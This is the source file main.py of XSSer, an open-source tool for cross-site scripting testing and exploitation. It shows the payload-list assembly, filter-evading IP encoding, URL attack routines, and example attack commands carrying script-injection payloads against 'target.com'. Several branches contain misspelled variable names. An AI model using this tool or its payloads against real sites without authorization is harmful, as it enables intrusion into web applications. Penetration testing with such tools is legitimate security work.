main.py 205 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
  19. try:
  20. import urllib.request, urllib.error, urllib.parse
  21. except:
  22. print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
  23. sys.exit()
  24. from random import randint
  25. from base64 import b64encode, b64decode
  26. import core.fuzzing
  27. import core.fuzzing.vectors
  28. import core.fuzzing.DCP
  29. import core.fuzzing.DOM
  30. import core.fuzzing.HTTPsr
  31. import core.fuzzing.heuristic
  32. from collections import defaultdict
  33. from itertools import islice, chain
  34. from urllib.parse import parse_qs, urlparse
  35. from core.curlcontrol import Curl
  36. from core.encdec import EncoderDecoder
  37. from core.options import XSSerOptions
  38. from core.dork import Dorker
  39. from core.crawler import Crawler
  40. from core.imagexss import ImageInjections
  41. from core.flashxss import FlashInjections
  42. from core.post.xml_exporter import xml_reporting
  43. from core.tokenhub import HubThread
  44. from core.reporter import XSSerReporter
  45. from core.threadpool import ThreadPool, NoResultsPending
  46. from core.update import Updater
  47. # set to emit debug messages about errors (0 = off).
  48. DEBUG = False
  49. class xsser(EncoderDecoder, XSSerReporter):
  50. """
  51. XSSer application class
  52. """
  53. def __init__(self, mothership=None):
  54. self._reporter = None
  55. self._reporters = []
  56. self._landing = False
  57. self._ongoing_requests = 0
  58. self._oldcurl = []
  59. self._gtkdir = None
  60. self._webbrowser = webbrowser
  61. self.crawled_urls = []
  62. self.checked_urls = []
  63. self.successful_urls = []
  64. self.urlmalformed = False
  65. self.search_engines = [] # available dorking search engines
  66. self.search_engines.append('bing') # [26/08/2019: OK!]
  67. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  68. self.search_engines.append('startpage') # [26/08/2019: OK!]
  69. self.search_engines.append('duck') # [26/08/2019: OK!]
  70. #self.search_engines.append('google')
  71. #self.search_engines.append('yandex')
  72. self.user_template = None # wizard user template
  73. self.user_template_conntype = "GET" # GET by default
  74. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  75. if not mothership:
  76. # no mothership so *this* is the mothership
  77. # start the communications hub and rock on!
  78. self.hub = None
  79. self.pool = ThreadPool(0)
  80. self.mothership = None
  81. self.final_attacks = {}
  82. else:
  83. self.hub = None
  84. self.mothership = mothership
  85. self.mothership.add_reporter(self)
  86. self.pool = ThreadPool(0)
  87. self.final_attacks = self.mothership.final_attacks
  88. # initialize the url encoder/decoder
  89. EncoderDecoder.__init__(self)
  90. # your unique real opponent
  91. self.time = datetime.datetime.now()
  92. # this payload comes with vector already..
  93. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  94. # to be or not to be...
  95. self.hash_found = []
  96. self.hash_notfound = []
  97. # other hashes
  98. self.hashed_injections={}
  99. self.extra_hashed_injections={}
  100. self.extra_hashed_vector_url = {}
  101. self.final_hashes = {} # final hashes used by each method
  102. # some counters for checker systems
  103. self.errors_isalive = 0
  104. self.next_isalive = False
  105. self.flag_isalive_num = 0
  106. self.rounds = 0
  107. self.round_complete = 0
  108. # some controls about targets
  109. self.urlspoll = []
  110. # some statistics counters for connections
  111. self.success_connection = 0
  112. self.not_connection = 0
  113. self.forwarded_connection = 0
  114. self.other_connection = 0
  115. # some statistics counters for payloads
  116. self.xsr_injection = 0
  117. self.xsa_injection = 0
  118. self.coo_injection = 0
  119. self.manual_injection = 0
  120. self.auto_injection = 0
  121. self.dcp_injection = 0
  122. self.dom_injection = 0
  123. self.httpsr_injection = 0
  124. self.check_positives = 0
  125. # some statistics counters for injections found
  126. self.xsr_found = 0
  127. self.xsa_found = 0
  128. self.coo_found = 0
  129. self.manual_found = 0
  130. self.auto_found = 0
  131. self.dcp_found = 0
  132. self.dom_found = 0
  133. self.httpsr_found = 0
  134. self.false_positives = 0
  135. # some statistics counters for heuristic parameters
  136. self.heuris_hashes = []
  137. self.heuris_backslash_found = 0
  138. self.heuris_une_backslash_found = 0
  139. self.heuris_dec_backslash_found = 0
  140. self.heuris_backslash_notfound = 0
  141. self.heuris_slash_found = 0
  142. self.heuris_une_slash_found = 0
  143. self.heuris_dec_slash_found = 0
  144. self.heuris_slash_notfound = 0
  145. self.heuris_mayor_found = 0
  146. self.heuris_une_mayor_found = 0
  147. self.heuris_dec_mayor_found = 0
  148. self.heuris_mayor_notfound = 0
  149. self.heuris_minor_found = 0
  150. self.heuris_une_minor_found = 0
  151. self.heuris_dec_minor_found = 0
  152. self.heuris_minor_notfound = 0
  153. self.heuris_semicolon_found = 0
  154. self.heuris_une_semicolon_found = 0
  155. self.heuris_dec_semicolon_found = 0
  156. self.heuris_semicolon_notfound = 0
  157. self.heuris_colon_found = 0
  158. self.heuris_une_colon_found = 0
  159. self.heuris_dec_colon_found = 0
  160. self.heuris_colon_notfound = 0
  161. self.heuris_doublecolon_found = 0
  162. self.heuris_une_doublecolon_found = 0
  163. self.heuris_dec_doublecolon_found = 0
  164. self.heuris_doublecolon_notfound = 0
  165. self.heuris_equal_found = 0
  166. self.heuris_une_equal_found = 0
  167. self.heuris_dec_equal_found = 0
  168. self.heuris_equal_notfound = 0
  169. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  170. self.verbose = 2
  171. self.options = None
  172. def __del__(self):
  173. if not self._landing:
  174. self.land()
  175. def get_gtk_directory(self):
  176. if self._gtkdir:
  177. return self._gtkdir
  178. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  179. 'gtk')
  180. if os.path.exists(local_path):
  181. self._gtkdir = local_path
  182. return self._gtkdir
  183. elif os.path.exists('/usr/share/xsser/gtk'):
  184. self._gtkdir = '/usr/share/xsser/gtk'
  185. return self._gtkdir
  186. def set_webbrowser(self, browser):
  187. self._webbrowser = browser
  188. def set_reporter(self, reporter):
  189. self._reporter = reporter
  190. def add_reporter(self, reporter):
  191. self._reporters.append(reporter)
  192. def remove_reporter(self, reporter):
  193. if reporter in self._reporters:
  194. self._reporters.remove(reporter)
  195. def generate_hash(self, attack_type='default'):
  196. """
  197. Generate a new hash for a type of attack.
  198. """
  199. date = str(datetime.datetime.now())
  200. encoded_hash = date + attack_type
  201. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  202. def generate_numeric_hash(self): # 32 length as md5
  203. """
  204. Generate a new hash for numeric only XSS
  205. """
  206. newhash = ''.join(random.choice('0123456789') for i in range(32))
  207. return newhash
  208. def report(self, msg, level='info'):
  209. """
  210. Report some error from the application.
  211. levels: debug, info, warning, error
  212. """
  213. if self.verbose == 2:
  214. prefix = ""
  215. if level != 'info':
  216. prefix = "["+level+"] "
  217. print(msg)
  218. elif self.verbose:
  219. if level == 'error':
  220. sys.stdout.write("*")
  221. else:
  222. sys.stdout.write(".")
  223. for reporter in self._reporters:
  224. reporter.post(msg)
  225. if self._reporter:
  226. from twisted.internet import reactor
  227. reactor.callFromThread(self._reporter.post, msg)
  228. def set_options(self, options):
  229. """
  230. Set xsser options
  231. """
  232. self.options = options
  233. self._opt_request()
  234. def _opt_request(self):
  235. """
  236. Pass on some properties to Curl
  237. """
  238. options = self.options
  239. for opt in ['cookie', 'agent', 'referer',\
  240. 'headers', 'atype', 'acred', 'acert',
  241. 'proxy', 'ignoreproxy', 'timeout',
  242. 'delay', 'tcp_nodelay', 'retries',
  243. 'xforw', 'xclient', 'threads',
  244. 'dropcookie', 'followred', 'fli',
  245. 'nohead', 'isalive', 'alt', 'altm',
  246. 'ald'
  247. ]:
  248. if hasattr(options, opt) and getattr(options, opt):
  249. setattr(Curl, opt, getattr(options, opt))
  250. def get_payloads(self):
  251. """
  252. Process payload options and make up the payload list for the attack.
  253. """
  254. options = self.options
  255. # payloading sources for --auto
  256. payloads_fuzz = core.fuzzing.vectors.vectors
  257. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  258. self.options.fuzz = True
  259. # set a type for XSS auto-fuzzing vectors
  260. if options.fzz_info:
  261. fzz_payloads = []
  262. for fuzz in payloads_fuzz:
  263. if not fuzz["browser"] == "[Not Info]":
  264. fzz_payloads.append(fuzz)
  265. payloads_fuzz = fzz_payloads
  266. # set a limit for XSS auto-fuzzing vectors
  267. if options.fzz_num:
  268. try:
  269. options.fzz_num = int(options.fzz_num)
  270. except:
  271. options.fzz_num = len(payloads_fuzz)
  272. fzz_num_payloads = []
  273. fzz_vector = 0
  274. for fuzz in payloads_fuzz:
  275. fzz_vector = fzz_vector + 1
  276. if int(fzz_vector) < int(options.fzz_num)+1:
  277. fzz_num_payloads.append(fuzz)
  278. payloads_fuzz = fzz_num_payloads
  279. # set random order for XSS auto-fuzzing vectors
  280. if options.fzz_rand:
  281. try:
  282. from random import shuffle
  283. shuffle(payloads_fuzz) # shuffle paylods
  284. except:
  285. pass
  286. payloads_dcp = core.fuzzing.DCP.DCPvectors
  287. payloads_dom = core.fuzzing.DOM.DOMvectors
  288. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  289. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  290. # sustitute payload for hash to check for false positives
  291. self.hashed_payload = "XSS"
  292. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  293. # heuristic parameters
  294. heuristic_params = core.fuzzing.heuristic.heuristic_test
  295. def enable_options_heuristic(payloads):
  296. if options.heuristic:
  297. payloads = heuristic_params + payloads
  298. if options.dom:
  299. payloads = payloads + payloads_dom
  300. return payloads
  301. if options.fuzz:
  302. payloads = payloads_fuzz
  303. if options.dcp:
  304. payloads = payloads + payloads_dcp
  305. if options.script:
  306. payloads = payloads + manual_payload
  307. if options.hash:
  308. payloads = checker_payload + payloads
  309. if options.inducedcode:
  310. payloads = payloads + payloads_httpsr
  311. if options.heuristic:
  312. payloads = heuristic_params + payloads
  313. if options.dom:
  314. payloads = payloads + payloads_dom
  315. elif options.inducedcode:
  316. payloads = payloads + payloads_httpsr
  317. if options.heuristic:
  318. payloads = heuristic_params + payloads
  319. if options.dom:
  320. payloads = payloads + payloads_dom
  321. elif options.dom:
  322. payloads = payloads + payloads_dom
  323. elif options.heuristic:
  324. payloads = heuristic_params + payloads
  325. if options.dom:
  326. payloads = payloads + payloads_dom
  327. elif options.dom:
  328. payloads = payloads + payloads_dom
  329. elif options.hash:
  330. payloads = checker_payload + payloads
  331. if options.inducedcode:
  332. payloads = payloads + payloads_httpsr
  333. if options.heuristic:
  334. payloads = heuristic_params + payloads
  335. if options.dom:
  336. payloads = payloads + payloads_dom
  337. elif options.dom:
  338. payloads = payloads + payloads_dom
  339. elif options.inducedcode:
  340. payloads = payloads + payloads_httpsr
  341. if options.heuristic:
  342. payloads = heuristic_params + payloads
  343. if options.dom:
  344. payloads = payloads + payloads_dom
  345. elif options.dom:
  346. payloads = payloads + payloads_dom
  347. elif options.script:
  348. payloads = payloads + manual_payload
  349. if options.hash:
  350. payloads = checker_payload + payloads
  351. if options.inducedcode:
  352. payloads = payaloads + payloads_httpsr
  353. if options.heuristic:
  354. payloads = heuristic_params + payloads
  355. if options.dom:
  356. payloads = payloads + payloads_dom
  357. elif options.hash:
  358. payloads = checker_payload + payloads
  359. if options.inducedcode:
  360. payloads = payloads + payloads_httpsr
  361. if options.heuristic:
  362. payloads = heuristic_params + payloads
  363. if options.dom:
  364. payloads = payloads + payloads_dom
  365. elif options.dom:
  366. payloads = payloads + payloads_dom
  367. elif options.heuristic:
  368. payloads = heuristic_params + payloads
  369. if options.dom:
  370. payloads = payloads + payloads_dom
  371. elif options.dom:
  372. payloads = payloads + payloads_dom
  373. elif options.inducedcode:
  374. payloads = payloads + payloads_httpsr
  375. if options.hash:
  376. payloads = checker_payload + payloads
  377. if options.heuristic:
  378. payloads = heuristic_params + payloads
  379. if options.dom:
  380. payloads = payloads + payloads_dom
  381. elif options.dom:
  382. payloads = payloads + payloads_dom
  383. elif options.heuristic:
  384. payloads = heuristic_params + payloads
  385. if options.dom:
  386. payloads = payloads + payloads_dom
  387. elif options.dom:
  388. payloads = payloads + payloads_dom
  389. elif options.dcp:
  390. payloads = payloads_dcp
  391. if options.script:
  392. payloads = payloads + manual_payload
  393. if options.hash:
  394. payloads = checker_payload + payloads
  395. if options.inducedcode:
  396. payloads = payloads + payloads_httpsr
  397. if options.heuristic:
  398. payloads = heuristic_params + payloads
  399. if options.dom:
  400. payloads = payloads + payloads_dom
  401. elif options.hash:
  402. payloads = checker_payload + payloads
  403. if options.inducedcode:
  404. payloads = payloads + inducedcode
  405. if options.heuristic:
  406. payloads = heuristic_params + payloads
  407. if options.dom:
  408. payloads = payloads + payloads_dom
  409. elif options.dom:
  410. payloads = payloads + payloads_dom
  411. elif options.inducedcode:
  412. payloads = payloads + payloads_httpsr
  413. if options.heuristic:
  414. payloads = heuristic_params + payloads
  415. if options.dom:
  416. payloads = payloads + payloads_dom
  417. elif options.dom:
  418. payloads = payloads + payloads_dom
  419. elif options.heuristic:
  420. payloads = heuristic_params + payloads
  421. if options.dom:
  422. payloads = payloads + payloads_dom
  423. elif options.dom:
  424. payloads = payloads + payloads_dom
  425. elif options.script:
  426. payloads = manual_payload
  427. if options.hash:
  428. payloads = checker_payload + payloads
  429. if options.inducedcode:
  430. payloads = payloads + payloads_httpsr
  431. if options.heuristic:
  432. payloads = heuristic_params + payloads
  433. if options.dom:
  434. payloads = payloads + payloads_dom
  435. elif options.inducedcode:
  436. payloads = payloads + payloads_httpsr
  437. if options.heuristic:
  438. payloads = heuristic_params + payloads
  439. if options.dom:
  440. payloads = payloads + payloads_dom
  441. elif options.dom:
  442. payloads = payloads + payloads_dom
  443. elif options.heuristic:
  444. payloads = heuristic_params + payloads
  445. if options.dom:
  446. paylaods = payloads + payloads_dom
  447. elif options.dom:
  448. payloads = payloads + payloads_dom
  449. elif options.inducedcode:
  450. payloads = payloads_httpsr
  451. if options.hash:
  452. payloads = checker_payload + payloads
  453. if options.heuristic:
  454. payloads = heuristic_params + payloads
  455. if options.dom:
  456. payloads = payloads + payloads_dom
  457. elif options.heuristic:
  458. payloads = heuristic_params + payloads
  459. if options.dom:
  460. payloads = payloads + payloads_dom
  461. elif options.dom:
  462. payloads = payloads + payloads_dom
  463. elif options.heuristic:
  464. payloads = heuristic_params
  465. if options.hash:
  466. payloads = checker_payload + payloads
  467. if options.dom:
  468. payloads = payloads + payloads_dom
  469. elif options.dom:
  470. payloads = payloads + payloads_dom
  471. elif options.dom:
  472. payloads = payloads_dom
  473. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  474. payloads = [{"payload":'">PAYLOAD',
  475. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  476. }]
  477. else:
  478. payloads = checker_payload
  479. return payloads
  480. def process_ipfuzzing(self, text):
  481. """
  482. Mask ips in given text to DWORD
  483. """
  484. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  485. for ip in ips:
  486. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  487. return text
  488. def process_ipfuzzing_octal(self, text):
  489. """
  490. Mask ips in given text to Octal
  491. """
  492. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  493. for ip in ips:
  494. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  495. return text
  496. def process_payloads_ipfuzzing(self, payloads):
  497. """
  498. Mask ips for all given payloads using DWORD
  499. """
  500. # ip fuzzing (DWORD)
  501. if self.options.Dwo:
  502. resulting_payloads = []
  503. for payload in payloads:
  504. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  505. resulting_payloads.append(payload)
  506. return resulting_payloads
  507. return payloads
  508. def process_payloads_ipfuzzing_octal(self, payloads):
  509. """
  510. Mask ips for all given payloads using OCTAL
  511. """
  512. # ip fuzzing (OCTAL)
  513. if self.options.Doo:
  514. resulting_payloads = []
  515. for payload in payloads:
  516. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  517. resulting_payloads.append(payload)
  518. return resulting_payloads
  519. return payloads
  520. def get_query_string(self):
  521. """
  522. Get the supplied query string.
  523. """
  524. if self.options.postdata:
  525. return self.options.postdata
  526. elif self.options.getdata:
  527. return self.options.getdata
  528. return ""
  529. def attack_url(self, url, payloads, query_string):
  530. """
  531. Attack the given url checking or not if is correct.
  532. """
  533. if not self.options.nohead:
  534. for payload in payloads:
  535. self.rounds = self.rounds + 1
  536. self.attack_url_payload(url, payload, query_string)
  537. else:
  538. hc = Curl()
  539. try:
  540. urls = hc.do_head_check([url])
  541. except:
  542. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  543. return
  544. self.report("-"*50 + "\n")
  545. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  546. if str(hc.info()["http-code"]) in ["301"]:
  547. url = str(hc.info()["Location"])
  548. payload = ""
  549. query_string = ""
  550. elif str(hc.info()["http-code"]) in ["302"]:
  551. url = url + "/"
  552. payload = ""
  553. query_string = ""
  554. self.success_connection = self.success_connection + 1
  555. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  556. for payload in payloads:
  557. self.attack_url_payload(url, payload, query_string)
  558. else:
  559. if str(hc.info()["http-code"]) in ["405"]:
  560. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  561. self.success_connection = self.success_connection + 1
  562. for payload in payloads:
  563. self.attack_url_payload(url, payload, query_string)
  564. else:
  565. self.not_connection = self.not_connection + 1
  566. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  567. self.report("-"*50 + "\n")
  568. def not_keyword_exit(self):
  569. self.report("="*30)
  570. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  571. self.report("-"*25)
  572. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  573. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  574. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  575. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  576. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  577. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  578. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  579. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  580. self.report(" Or a mixture:\n")
  581. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  582. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  583. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
  584. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
  585. self.report("="*75 + "\n")
  586. if not self.options.xsser_gtk:
  587. sys.exit(2)
  588. else:
  589. pass
  590. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  591. """
  592. Attack the given url within the given payload
  593. """
  594. options = self.options
  595. self._ongoing_attacks = {}
  596. if (self.options.xsa or self.options.xsr or self.options.coo):
